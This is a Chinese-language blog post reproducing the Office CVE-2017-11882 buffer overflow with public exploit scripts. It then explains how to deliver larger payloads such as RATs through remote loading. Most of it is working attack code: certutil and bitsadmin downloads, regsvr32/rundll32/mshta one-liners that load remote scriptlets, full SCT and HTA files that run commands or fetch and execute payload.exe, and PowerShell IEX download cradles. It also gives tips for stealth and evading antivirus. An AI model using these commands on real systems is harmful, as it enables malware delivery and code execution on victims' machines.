Office CVE-2017-11882 复现

漏洞原理移步 FreeBuf.

环境 Windows 7, Office 2010.

复现过程

unamer/CVE-2017-11882

Ridter/CVE-2017-11882

以前者为例.

生成文档.

1
CVE-2017-11882.py -c calc.exe -t 1 -o test.rtf

打开文档.

成功执行, 且无其它警告框.

改进载荷

这是一个缓冲区溢出漏洞, 这种类型的漏洞一般限制了 Payload 的长度 (具体原因不再说明, 也没有能力说明). 对于功能比较齐全的 Payload 或是 RAT 基本上都会超出这个长度. 一般有两种缩小的方法, 使用 ShellCode 或是远程加载.

上文中的利用脚本已经集成 ShellCode 注入的功能, 不过我并不太推荐, 一是不能灵活的更改要执行的 Payload, 二是向进程注入 ShellCode 的操作极易被杀软拦截.

仅对远程加载进行说明. 之前我也写过关于远程下载的文章, 不过存在几个问题: 1. 偏向于文件 “下载” 而不是执行 2. 功能单一且拓展性差 3. 隐蔽性差.

针对这些问题, 进行远程加载的程序必须符合以下几点: 1. 易于更改 2. 拓展性强 3. 隐蔽性好 4. 尽量不落地执行.

bitsadmin certutil

这是仅适用于特殊情况必须文件落地而提供的方式.

bitsadmin 只适用于 Windows 7 及以上版本.

1
bitsadmin /transfer get http://192.168.1.1/payload.exe C:\Windows\Temp\payload.exe

certutil 需要删除缓存 (%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content).

1
2
certutil -urlcache -split -f http://192.168.1.1/payload.exe C:\Windows\Temp\payload.exe
certutil -urlcache -split -f http://192.168.1.100/payload.exe C:\Windows\Temp\payload.exe delete

regsvr32 rundll32 mshta (sct file)

把这些放在一起讲主要是因为它们都能够远程加载 sct.

命令执行.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?XML version="1.0"?>
<scriptlet>
<registration
    description="fjzmpcjvqp"
    progid="fjzmpcjvqp"
    version="1.00"
    classid="{204774CF-D251-4F02-855B-2BE70585184B}"
    remotable="true"
	>
<script language="JScript">
<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>

下载执行.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?XML version="1.0"?>
<scriptlet>
<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
    remotable="true"
	>
<script language="VBScript">
<![CDATA[
	Const adTypeBinary = 1
	Const adSaveCreateOverWrite = 2
	Dim http,ado
	Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
	http.SetOption 2, 13056
	http.open "GET","https://192.168.1.1/payload.exe",False
	http.send
	Set ado = createobject("Adodb.Stream")
	ado.Type = adTypeBinary
	ado.Open
	ado.Write http.responseBody
	ado.SaveToFile "c:\windows\temp\payload.exe"
	ado.Close
	CreateObject("WScript.Shell").Run "c:\windows\temp\payload.exe",0,true 
]]>
</script>
</registration>
</scriptlet>

在 regsvr32 中执行的时候要把 script 标签放在 registration 标签内才能成功执行, 而 CVE-2017-8570 恰好相反.

命令后面的 scrobj.dll 可能会被误以为这是保存的文件名, 但实际上它是被 regsvr32 调用的 DLL 名称, 以此来执行 sct 中的命令的.

1
regsvr32 /u /s /n /i:http://192.168.1.1/cmd.sct scrobj.dll

在 rundll32 中执行的时候要把 script 标签放在 registration 标签外才能成功执行, 与 regsvr32 恰好相反.

另外注意 RunHTMLApplication 的后面有一个空格.

1
rundll32 javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://192.168.1.1/cmd.sct");window.close();

mshta 中 sct 的标签位置与 rundll32 相同.

1
mshta vbscript:Close(Execute("GetObject(""script:http://192.168.1.1/cmd.sct"")"))

mshta (hta file)

与上文执行 sct 不同, 这里执行的是 hta 中的代码.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
</body>
</HEAD> 
</HTML> 

使用这种 Payload 格式执行命令无须担心 hta 窗口的问题.

至于下载执行的方法就不贴出来了, 自己尝试吧.

1
mshta http://192.168.1.1/cmd.hta

powershell

PowerShell 想必大家都不陌生了吧.

有两种执行方式, 一种是远程加载 PowerShell 的代码来执行, 另一种是直接下载 exe 来执行.

1
IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.1.1/psh-reflection.ps1')
1
(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/payload.exe','C:\Windows\Temp\payload.exe')

URL

也能够通过缩小 URL 的方式来缩小 Payload 的长度, 例如各大厂商的短网址缩小.

需要考虑这几个问题: 1. 是否有时间限制 2. 是否是 302 跳转而不是通过 HTML 跳转 3. 在某些地区是否能成功访问.

就不细说了.

一些话

生成的文档是 rtf 格式的, 虽然更改为 doc 格式能成功执行, 但如果直接编辑内容, 漏洞会执行失败. 所以必须通过 rtf 合并来自定义内容, 在 CVE-2017-8570 中我提供了具体的步骤, 当然利用脚本中的合成方式也是可以成功的, 只是思路不同罢了.

另外针对之前的改进补充一句话, 对 rtf 中的内容进行编辑保存之后, 原有的 objupdate 会失效, 需要手动再次添加.

0%